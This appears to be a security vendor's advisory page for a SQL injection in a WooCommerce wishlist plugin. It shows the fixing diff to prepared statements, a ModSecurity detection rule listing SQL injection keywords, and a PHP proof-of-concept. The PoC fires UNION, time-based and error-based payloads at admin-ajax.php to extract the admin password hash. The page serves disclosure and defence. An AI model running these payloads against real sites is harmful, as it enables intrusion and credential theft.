+                                                ( ! $is_addon_activated || ! $fs_addon->is_premium() ) &&
+                                                /**
+                                                 * This check is needed for cases when an active add-on doesn't have an
+                                                 * associated Freemius instance.
+                                                 *
+                                                 * @author Leo Fajardo (@leorw)
+                                                 * @since 2.4.5
+                                                 */
+                                                ( ! $is_plugin_active )
+                                            );
+                                        }
+                                    ?>
+                                    <?php if ( ! $show_premium_activation_or_installation_action ) : ?>
+									<li class="fs-cta"><a class="button"><?php echo esc_html( $view_details_text ) ?></a></li>
+                                    <?php else : ?>
+                                        <?php
+                                            $latest_download_local_url = $is_free_only_wp_org_compliant ?
+                                                null :
+                                                $fs->_get_latest_download_local_url( $addon->id );
+                                        ?>
+
+                                        <li class="fs-cta fs-dropdown">
+                                        <div class="button-group">
+                                            <?php if ( $is_allowed_to_install ) : ?>
+                                            <?php
+                                                if ( ! $is_addon_installed ) {
+                                                    echo sprintf(
+                                                        '<a class="button button-primary" href="%s">%s</a>',
+                                                        wp_nonce_url( self_admin_url( 'update.php?' . ( ( $has_paid_plan || ! $addon->is_wp_org_compliant ) ? 'fs_allow_updater_and_dialog=true&' : '' ) . 'action=install-plugin&plugin=' . $addon->slug ), 'install-plugin_' . $addon->slug ),
+                                                        fs_esc_html_inline( 'Install Now', 'install-now', $slug )
+                                                    );
+                                                } else {
+                                                    echo sprintf(
+                                                        '<a class="button button-primary edit" href="%s" title="%s" target="_parent">%s</a>',
+                                                        wp_nonce_url( 'plugins.php?action=activate&plugin=' . $basename, 'activate-plugin_' . $basename ),
+                                                        fs_esc_attr_inline( 'Activate this add-on', 'activate-this-addon', $addon->slug ),
+                                                        fs_text_inline( 'Activate', 'activate', $addon->slug )
+                                                    );
+                                                }
+                                            ?>
+                                            <?php else : ?>
+                                            <a target="_blank" rel="noopener" class="button button-primary" href="<?php echo $latest_download_local_url ?>"><?php echo esc_html( $download_latest_text ) ?></a>
+                                            <?php endif ?>
+                                            <div class="button button-primary fs-dropdown-arrow-button"><span class="fs-dropdown-arrow"></span><ul class="fs-dropdown-list" style="display: none">
+		                                            <?php if ( $is_allowed_to_install && ! empty( $latest_download_local_url ) ) : ?>
+			                                            <li><a target="_blank" rel="noopener" href="<?php echo $latest_download_local_url ?>"><?php echo esc_html( $download_latest_text ) ?></a></li>
+		                                            <?php endif ?>
+		                                            <li><?php
+				                                            echo sprintf(
+					                                            $view_details_link,
+					                                            /**
+					                                             * No additional class.
+					                                             *
+					                                             * @author Leo Fajardo (@leorw)
+					                                             * @since 2.2.4
+					                                             */
+					                                            '',
+					                                            /**
+					                                             * Set the view details link text to a non-empty string since it is an
+					                                             * item in the dropdown list and the text should be visible.
+					                                             *
+					                                             * @author Leo Fajardo (@leorw)
+					                                             * @since 2.2.4
+					                                             */
+					                                            esc_html( $view_details_text )
+				                                            );
+			                                            ?></li>
+	                                            </ul></div>
+                                        </div>
+                                    </li>
+                                    <?php endif ?>
+								</ul>
+							</div>
+						</li>
+					<?php endforeach ?>
+				<?php endif ?>
+			</ul>
+		</div>
+
+		<?php $fs->do_action( 'addons/after_addons' ) ?>
+	</div>
+	<script type="text/javascript">
+		(function( $, undef ) {
+			<?php if ( $open_addon ) : ?>
+
+			var interval = setInterval(function () {
+				// Open add-on information page.
+				<?php
+				/**
+				 * @author Vova Feldman
+				 *
+				 * This code does NOT expose an XSS vulnerability because:
+				 *  1. This page only renders for admins, so if an attacker manage to get
+				 *     admin access, they can do more harm.
+				 *  2. This code won't be rendered unless $open_addon_slug matches any of
+				 *     the plugin's add-ons slugs.
+				 */
+				?>
+				$('.fs-card[data-slug=<?php echo $open_addon_slug ?>] a').click();
+				if ($('#TB_iframeContent').length > 0) {
+					clearInterval(interval);
+					interval = null;
+				}
+			}, 200);
+
+			<?php else : ?>
+
+			$( '.fs-card.fs-addon' )
+				.mouseover(function() {
+				    var $this = $( this );
+
+					$this.find( '.fs-cta .button' ).addClass( 'button-primary' );
+
+                    if ( 0 === $this.find( '.fs-dropdown-arrow-button.active' ).length ) {
+                        /**
+                         * When hovering over a card, close the dropdown on any other card.
+                         *
+                         * @author Leo Fajardo (@leorw)
+                         * @since 2.2.4
+                         */
+                        toggleDropdown();
+                    }
+				}).mouseout(function( evt ) {
+                    var $relatedTarget = $( evt.relatedTarget );
+
+                    if ( 0 !== $relatedTarget.parents( '.fs-addon' ).length ) {
+                        return true;
+                    }
+
+                    var $this = $( this );
+
+                    /**
+                     * Set the color of the "View details" button to "secondary".
+                     *
+                     * @author Leo Fajardo (@leorw)
+                     * @since 2.2.4
+                     */
+					$this.find( '.fs-cta .button' ).filter(function() {
+                        /**
+                         * Keep the "primary" color of the dropdown arrow button, "Install Now" button, and
+                         * "Download Latest" button.
+
+                         * @author Leo Fajardo (@leorw)
+                         * @since 2.2.4
+                         */
+					    return $( this ).parent().is( ':not(.button-group)' );
+                    }).removeClass('button-primary');
+
+					toggleDropdown( $this.find( '.fs-dropdown' ), false );
+				}).find( 'a.thickbox, .button:not(.fs-dropdown-arrow-button)' ).click(function() {
+                    toggleDropdown();
+                });
+
+			<?php endif ?>
+
+            var $dropdowns = $( '.fs-dropdown' );
+            if ( 0 !== $dropdowns.length ) {
+                $dropdowns.find( '.fs-dropdown-arrow-button' ).click(function() {
+                    var $this     = $( this ),
+                        $dropdown = $this.parents( '.fs-dropdown' );
+
+                    toggleDropdown( $dropdown, ! $dropdown.hasClass( 'active' ) );
+                });
+            }
+
+            /**
+             * Returns the default state of the dropdown arrow button and hides the dropdown list.
+             *
+             * @author Leo Fajardo (@leorw)
+             * @since 2.2.4
+             *
+             * @param {(Object|undefined)}  [$dropdown]
+             * @param {(Boolean|undefined)} [state]
+             */
+            function toggleDropdown( $dropdown, state ) {
+                if ( undef === $dropdown ) {
+                    var $activeDropdown = $dropdowns.find( '.active' );
+                    if ( 0 !== $activeDropdown.length ) {
+                        $dropdown = $activeDropdown;
+                    }
+                }
+
+                if ( undef === $dropdown ) {
+                    return;
+                }
+
+                if ( undef === state ) {
+                    state = false;
+                }
+
+                $dropdown.toggleClass( 'active', state );
+                $dropdown.find( '.fs-dropdown-list' ).toggle( state );
+                $dropdown.find( '.fs-dropdown-arrow-button' ).toggleClass( 'active', state );
+            }
+		})( jQuery );
+	</script>
+<?php
+	if ( $has_tabs ) {
+		$fs->_add_tabs_after_content();
+	}
+
+	$params = array(
+		'page'           => 'addons',
+		'module_id'      => $fs->get_id(),
+		'module_type'    => $fs->get_module_type(),
+		'module_slug'    => $slug,
+		'module_version' => $fs->get_plugin_version(),
+	);
 	fs_require_template( 'powered-by.php', $params );
 No newline at end of file
--- a/premmerce-woocommerce-wishlist/premmerce-wishlist.php
+++ b/premmerce-woocommerce-wishlist/premmerce-wishlist.php
@@ -1,50 +0,0 @@
-<?php
-
-use PremmerceWishlistWishlistPlugin;
-
-/**
- *
- * @wordpress-plugin
- * Plugin Name:       Premmerce Wishlist for WooCommerce
- * Plugin URI:        https://premmerce.com/woocommerce-wishlist/
- * Description:       This plugin provides the possibility for your customers to create wishlists with the further possibility to share them with friends.
- * Version:           1.1.11
- * Author:            Premmerce
- * Author URI:        https://premmerce.com/
- * License:           GPL-2.0+
- * License URI:       http://www.gnu.org/licenses/gpl-2.0.txt
- * Text Domain:       premmerce-wishlist
- * Domain Path:       /languages
- *
- * WC requires at least: 3.0.0
- * WC tested up to: 8.9.3
- */
-
-// If this file is called directly, abort.
-if ( ! defined('WPINC')) {
-    die;
-}
-
-call_user_func(function () {
-
-    require_once plugin_dir_path(__FILE__) . 'vendor/autoload.php';
-
-    if ( ! get_option('premmerce_version')) {
-        require_once plugin_dir_path(__FILE__) . '/freemius.php';
-    }
-
-    $main = new WishlistPlugin(__FILE__);
-
-    register_activation_hook(__FILE__, [$main, 'activate']);
-
-    register_deactivation_hook(__FILE__, [$main, 'deactivate']);
-
-    if (function_exists('premmerce_pw_fs')) {
-        premmerce_pw_fs()->add_action('after_uninstall', [WishlistPlugin::class, 'uninstall']);
-    } else {
-        register_uninstall_hook(__FILE__, [WishlistPlugin::class, 'uninstall']);
-    }
-
-
-    $main->run();
-});
--- a/premmerce-woocommerce-wishlist/premmerce-woocommerce-wishlist.php
+++ b/premmerce-woocommerce-wishlist/premmerce-woocommerce-wishlist.php
@@ -0,0 +1,50 @@
+<?php
+
+use PremmerceWishlistWishlistPlugin;
+
+/**
+ *
+ * @wordpress-plugin
+ * Plugin Name:       Premmerce Wishlist for WooCommerce
+ * Plugin URI:        https://premmerce.com/woocommerce-wishlist/
+ * Description:       This plugin provides the possibility for your customers to create wishlists with the further possibility to share them with friends.
+ * Version:           1.1.12
+ * Author:            Premmerce
+ * Author URI:        https://premmerce.com/
+ * License:           GPL-2.0+
+ * License URI:       http://www.gnu.org/licenses/gpl-2.0.txt
+ * Text Domain:       premmerce-wishlist
+ * Domain Path:       /languages
+ *
+ * WC requires at least: 3.0.0
+ * WC tested up to: 6.3
+ */
+
+// If this file is called directly, abort.
+if ( ! defined('WPINC')) {
+    die;
+}
+
+call_user_func(function () {
+
+    require_once plugin_dir_path(__FILE__) . 'vendor/autoload.php';
+
+    if ( ! get_option('premmerce_version')) {
+        require_once plugin_dir_path(__FILE__) . '/freemius.php';
+    }
+
+    $main = new WishlistPlugin(__FILE__);
+
+    register_activation_hook(__FILE__, [$main, 'activate']);
+
+    register_deactivation_hook(__FILE__, [$main, 'deactivate']);
+
+    if (function_exists('premmerce_pw_fs')) {
+        premmerce_pw_fs()->add_action('after_uninstall', [WishlistPlugin::class, 'uninstall']);
+    } else {
+        register_uninstall_hook(__FILE__, [WishlistPlugin::class, 'uninstall']);
+    }
+
+
+    $main->run();
+});
--- a/premmerce-woocommerce-wishlist/src/Admin/Admin.php
+++ b/premmerce-woocommerce-wishlist/src/Admin/Admin.php
@@ -197,7 +197,7 @@
         if (isset($_GET['wl-action'])) {
             $ptAction = $_GET['wl-action'];

-            switch($ptAction) {
+            switch ($ptAction) {
                 case 'view':
                     $id = isset($_GET['wl-id'])? (int)$_GET['wl-id'] : null;
                     $this->controllerView($id);
@@ -244,7 +244,7 @@
             $action = '';
         }

-        switch($action) {
+        switch ($action) {
             case 'delete':
                 $this->delete($data);
                 break;
--- a/premmerce-woocommerce-wishlist/src/Admin/WishlistTable.php
+++ b/premmerce-woocommerce-wishlist/src/Admin/WishlistTable.php
@@ -154,6 +154,7 @@
     protected function extra_tablenav($position)
     {
         if ($position == 'top') {
+
             $modifiedDate = array(
                 "day"    => __('Day', WishlistPlugin::DOMAIN),
                 "day3"   => __('Three days', WishlistPlugin::DOMAIN),
--- a/premmerce-woocommerce-wishlist/src/Frontend/Frontend.php
+++ b/premmerce-woocommerce-wishlist/src/Frontend/Frontend.php
@@ -81,6 +81,7 @@
         $productId = $productId ? $productId : $product->get_ID();

         if (! $this->isWishListPage()) {
+
             $this->fileManager->includeTemplate('frontend/wishlist-btn.php', array(
                 'addUrl'    => WishlistFunctions::getInstance()->getAddPopupUrl($productId),
                 'productId' => $productId,
@@ -97,6 +98,7 @@
         global $product;

         if ($this->isWishListPage() && count($this->model->getWishlists()) >= 2 && ! $this->isOnlyView()) {
+
             $addRoute = 'wp-json/premmerce/wishlist/add/popup';

             global $wishlist_current;
@@ -140,6 +142,7 @@
         global $wishlistPage;

         return isset($wishlistPage) && $wishlistPage == true;
+
     }

     /**
--- a/premmerce-woocommerce-wishlist/src/Frontend/WishlistFunctions.php
+++ b/premmerce-woocommerce-wishlist/src/Frontend/WishlistFunctions.php
@@ -81,6 +81,7 @@

     public function isProductInWishlist($id, $key)
     {
+
         $id = $this->getDefaultLanguageProductId($id);

         $wishlist = $this->model->getWishlistsByProductId($id);
@@ -94,6 +95,7 @@

     public function getWishlistKeyByProductId($id)
     {
+
         $id = $this->getDefaultLanguageProductId($id);

         $wishlist = $this->model->getWishlistsByProductId($id);
@@ -147,6 +149,7 @@
      */
     public function getAddPopupUrl($productId)
     {
+
         $url = add_query_arg(array(
             'wc-ajax' => 'premmerce_wishlist_popup',
             'wishlist_product_id' => $productId,
--- a/premmerce-woocommerce-wishlist/src/Integration/OceanWpIntegration.php
+++ b/premmerce-woocommerce-wishlist/src/Integration/OceanWpIntegration.php
@@ -18,6 +18,7 @@
      */
     public function __construct($frontend, $fileManager)
     {
+
         $this->fileManager = $fileManager;

         add_action('wp_enqueue_scripts', array($this, 'registerAssets'));
@@ -34,6 +35,7 @@
         // Move button on loop product
         remove_action('woocommerce_after_shop_loop_item', array($frontend, 'renderWishListMoveBtn'));
         add_action('ocean_after_archive_product_inner', array($frontend, 'renderWishListMoveBtn'), 10);
+
     }

     public function registerAssets()
--- a/premmerce-woocommerce-wishlist/src/Models/WishlistModel.php
+++ b/premmerce-woocommerce-wishlist/src/Models/WishlistModel.php
@@ -247,12 +247,10 @@
     public function getWishlistsByKeys($keys)
     {
         if ($keys && is_array($keys)) {
-            $sql = vsprintf(
-                "SELECT * FROM `%s` WHERE `wishlist_key` IN (%s);",
-                array(
-                    $this->tblWishlist,
-                    '"' . implode('", "', $keys) . '"'
-                )
+            $placeholders = implode(', ', array_fill(0, count($keys), '%s'));
+            $sql = $this->wpdb->prepare(
+                "SELECT * FROM `{$this->tblWishlist}` WHERE `wishlist_key` IN ({$placeholders});",
+                $keys
             );

             return $this->getWishlistsBySql($sql);
@@ -271,12 +269,10 @@
     public function getDefaultWishlistByKeys($keys)
     {
         if ($keys && is_array($keys)) {
-            $sql = vsprintf(
-                "SELECT * FROM `%s` WHERE `default` = 1 AND `wishlist_key` IN (%s);",
-                array(
-                    $this->tblWishlist,
-                    '"' . implode('", "', $keys) . '"'
-                )
+            $placeholders = implode(', ', array_fill(0, count($keys), '%s'));
+            $sql = $this->wpdb->prepare(
+                "SELECT * FROM `{$this->tblWishlist}` WHERE `default` = 1 AND `wishlist_key` IN ({$placeholders});",
+                $keys
             );

             return $this->getWishlistBySql($sql);
@@ -294,6 +290,7 @@
      */
     public function combineDefaultsWishlistsByUserID($userId)
     {
+
         $sql = $this->prepare("SELECT * FROM `" . $this->tblWishlist . "` WHERE `user_id` = %d AND `default` = 1 ORDER BY `ID`;", array($userId));
         $wishlistsDefault = $this->getWishlistsBySql($sql);

@@ -443,14 +440,32 @@
         }

         $where = "";
+        $where_values = array();
         if (isset($params['where_in'])) {
-            $where = " WHERE";
+            $where_parts = array();
+            $allowed_columns = array('ID', 'user_id', 'wishlist_key');
             foreach ($params['where_in'] as $column => $value) {
-                $where .= " `" . $column . "` IN (" . $value . ")";
+                if (!in_array($column, $allowed_columns, true)) {
+                    continue;
+                }
+                if (is_array($value)) {
+                    $placeholders = implode(', ', array_fill(0, count($value), '%s'));
+                    $where_parts[] = "`{$column}` IN ({$placeholders})";
+                    $where_values = array_merge($where_values, $value);
+                } else {
+                    $where_parts[] = "`{$column}` = %s";
+                    $where_values[] = $value;
+                }
+            }
+            if (!empty($where_parts)) {
+                $where = " WHERE " . implode(' AND ', $where_parts);
             }
         }

-        $sql = "SELECT * FROM `" . $this->tblWishlist . "`" . $where . $orderby;
+        $sql = "SELECT * FROM `{$this->tblWishlist}`" . $where . $orderby;
+        if (!empty($where_values)) {
+            $sql = $this->wpdb->prepare($sql, $where_values);
+        }

         $wishlist = $this->getResults(trim($sql));

@@ -463,7 +478,10 @@

     public function getWishlistsByProductId($id)
     {
-        $sql = "SELECT * FROM `" . $this->tblWishlist . "` WHERE `products` LIKE '%" . $id . "%';";
+        $sql = $this->wpdb->prepare(
+            "SELECT * FROM `{$this->tblWishlist}` WHERE `products` LIKE %s;",
+            '%' . $this->wpdb

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-54849
# Virtual patch for Premmerce Wishlist for WooCommerce unauthenticated SQL injection
# Targets AJAX actions with product_id or id parameters containing SQL metacharacters
# NOTE: The exact vulnerable action name is not confirmed; this rule covers the most common attack surface.

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261949,phase:2,deny,status:403,chain,msg:'CVE-2026-54849 Premmerce Wishlist SQL injection via plugin AJAX',severity:'CRITICAL',tag:'CVE-2026-54849'"
  SecRule ARGS:action "@pm premmerce_wishlist_add premmerce_wishlist_remove premmerce_wishlist_load" "chain"
    SecRule ARGS:product_id|ARGS:id|ARGS:wishlist_id "@rx (bUNIONb|bSELECTb|bINSERTb|bUPDATEb|bDELETEb|bDROPb|bSLEEPb|bBENCHMARKb|bINTOs+OUTFILEb|--|#|bORs+d+=d+b)" 
      "t:lowercase,t:urlDecode,t:removeNulls,id:20261950"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-54849 - Premmerce Wishlist for WooCommerce <= 1.1.11 - Unauthenticated SQL Injection

// CONFIGURABLE TARGET
$target_url = 'http://example.com/wp-admin/admin-ajax.php';  // Change to target WordPress URL

// The vulnerable action and parameters depend on the exact plugin code.
// Based on typical Premmerce Wishlist endpoints, we test common AJAX actions.
// We attempt multiple action values to cover different plugin versions.

$actions = [
    'premmerce_wishlist_add',
    'premmerce_wishlist_remove',
    'premmerce_wishlist_load',
    'wishlist_add',
    'wishlist_remove'
];

$payloads = [
    "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM wp_users WHERE user_login='admin'-- -",
    "1 UNION SELECT user_pass,1,3,4,5,6,7,8,9,10 FROM wp_users WHERE user_login='admin'-- -",
    "1' AND SLEEP(5)-- -",
    "1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7162717a71,(SELECT MID((IFNULL(CAST(user_pass AS CHAR),0x20)),1,50) FROM wp_users LIMIT 0,1),0x7162717a71,FLOOR(RAND()*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- -"
];

echo "[+] Atomic Edge CVE-2026-54849 PoCn";
echo "[+] Target: $target_urlnn";

foreach ($actions as $action) {
    echo "[+] Trying action: $actionn";
    foreach ($payloads as $payload) {
        $data = [
            'action' => $action,
            'product_id' => $payload,  // Common parameter name
            'nonce' => '',             // Nonce may not be required
        ];
        
        $ch = curl_init($target_url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($http_code == 200 && strpos($response, 'user_pass') !== false) {
            echo "[+] SUCCESS! Payload: $payloadn";
            echo "[+] Response excerpt: " . substr($response, 0, 500) . "n";
            exit(0);
        } elseif (strpos($response, 'error') === false && strlen($response) > 100) {
            echo "[?] Possible injection indicator. Payload: $payloadn";
        }
    }
}
echo "[-] No obvious SQL injection detected with tested payloads.n";
echo "[*] Note: The exact parameter name may differ. Adjust product_id to id, wishlist_id, or similar.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School